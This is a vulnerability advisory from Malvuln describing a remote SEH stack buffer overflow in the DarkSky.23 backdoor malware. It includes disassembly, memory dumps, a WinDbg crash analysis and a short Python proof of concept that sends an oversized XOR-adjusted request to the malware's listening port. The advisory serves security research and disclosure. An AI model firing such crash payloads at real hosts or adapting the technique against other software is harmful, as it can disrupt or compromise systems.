Backdoor.Win32.DarkSky.23 MVID-2022-0648 Buffer Overflow

Discovery / credits: Malvuln (John Page aka hyp3rlinx) © 2022
Original source: https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkSky.23
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 5418. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting EDX register and Structured Exception Handler (SEH). In order to see the typical exploit pattern of “\x41” “AAAA” we need to actually send “\x50” as there is an loop that performs an XOR converting our payload. Therefore, if we send “AAAAAAAA” we will get "PPPPPPPP", the malware performs the XOR with the value of 11.
Family: DarkSky
Type: PE32
MD5: 1164ef21ef2af97e0339359c0dce5e7d
Vuln ID: MVID-2022-0648
Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 10/15/2022

Example:

0040134A | 80 34 31 11 | xor byte ptr ds:[ecx+esi],11 | ;XOR converting the payload happens here.
0040134E | 41 | inc ecx |
0040134F | 3B C8 | cmp ecx,eax |
00401351 | 7C F7 | jl sysarchive.40134A |
00401353 | 5E | pop esi |
00401354 | C3 | ret |

Python test…

0x41 ^ 0x11
80
hex(80)
‘0x50’
chr(0x50)
‘P’

GET /AAAAA will then become all “P” …

0019D24C 56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41 VTE1>PPPPPAAAAAA
0019D25C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D26C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D27C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D28C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

So to get our \x41 pattern we need to supply \x50, the malware will XOR it with 0x11 giving us \x41.

0x50 ^ 0x11
65
hex(65)
‘0x41’
chr(65)
‘A’

EAX : 7EFEFEFE
EBX : 02902A58
ECX : 0019F4B0
EDX : 41414141
EBP : 0019D230
ESP : 0019D214
ESI : 0019D777
EDI : 0019FF81
EIP : 7451561B msvcrt.7451561B

Finally we see our desired exploit payload converted from \x50 ‘P’ to \x41 or “A”

0019D240 08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31 .ß…ß…VTE1
0019D250 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 >AAAAAAAAAAAAAAA
0019D260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 AAAAAAAAAAAAAAAP
0019D290 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP
0019D2A0 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP

Memory Dump:
(2798.242c): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000 edi=00000002
eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h

0:000> .ecxr
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
msvcrt!strcat+0x89:
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000
*** WARNING: Unable to verify checksum for SysArchive.exe
*** ERROR: Module load completed but symbols could not be loaded for SysArchive.exe

0:000> !analyze -v

---

•                                                                         *  
  

•                    Exception Analysis                                   *  
  

•                                                                         *  
  

---

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
msvcrt!strcat+89
74515619 8917 mov dword ptr [edi],edx

EXCEPTION_RECORD: 0019cd64 – (.exr 0x19cd64)
ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: SysArchive.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 70

APPLICATION_VERIFIER_FLAGS: 0

CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt
74515590 - msvcrt!strcat
[ 8b:cc ]
74515617 - msvcrt!strcat+87 (+0x87)
[ eb:cc ]
2 errors : !msvcrt (74515590-74515617)

CONTEXT: 0019cdb4 – (.cxr 0x19cdb4)
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
msvcrt!strcat+0x89:
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000
Resetting default scope

WRITE_ADDRESS: 001a0000

FOLLOWUP_IP:
msvcrt!strcat+89
74515619 8917 mov dword ptr [edi],edx

FAULTING_THREAD: 0000242c

BUGCHECK_STR: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 00404ed7 to 74515619

STACK_TEXT:
0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89
WARNING: Stack unwind information not available. Following frames may be wrong.
0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7
0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394
0019f9ec 41414141 41414141 41414141 41414141 0x41414141
0019f9f0 41414141 41414141 41414141 41414141 0x41414141
0019f9f4 41414141 41414141 41414141 41414141 0x41414141
0019f9f8 41414141 41414141 41414141 41414141 0x41414141
0019f9fc 41414141 41414141 41414141 41414141 0x41414141
0019fa00 41414141 41414141 41414141 41414141 0x41414141
0019fa04 41414141 41414141 41414141 41414141 0x41414141
0019fa08 41414141 41414141 41414141 41414141 0x41414141
0019fa0c 41414141 41414141 41414141 41414141 0x41414141
0019fa10 41414141 41414141 41414141 41414141 0x41414141
0019fa14 41414141 41414141 41414141 41414141 0x41414141
0019fa18 41414141 41414141 41414141 41414141 0x41414141
0019fa1c 41414141 41414141 41414141 41414141 0x41414141
0019fa20 41414141 41414141 41414141 41414141 0x41414141
0019fa24 41414141 41414141 41414141 41414141 0x41414141
0019fa28 41414141 41414141 41414141 41414141 0x41414141
0019fa2c 41414141 41414141 41414141 41414141 0x41414141
0019fa30 41414141 41414141 41414141 41414141 0x41414141
…

SYMBOL_NAME: memory_corruption!msvcrt

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: memory_corruption

IMAGE_NAME: memory_corruption

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt

BUCKET_ID: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt

0:000> !exchain
0019cc18: ntdll!_except_handler4+0 (77716a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad)
0019f9dc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=5418

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000  
PAYLOAD=JUNK+"\r\n\r\n"

s.send(PAYLOAD)  
s.close()  
print("Backdoor DarkSky.23 Exploit By malvuln")

if name=="main":
doit()

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright © Malvuln.com ™.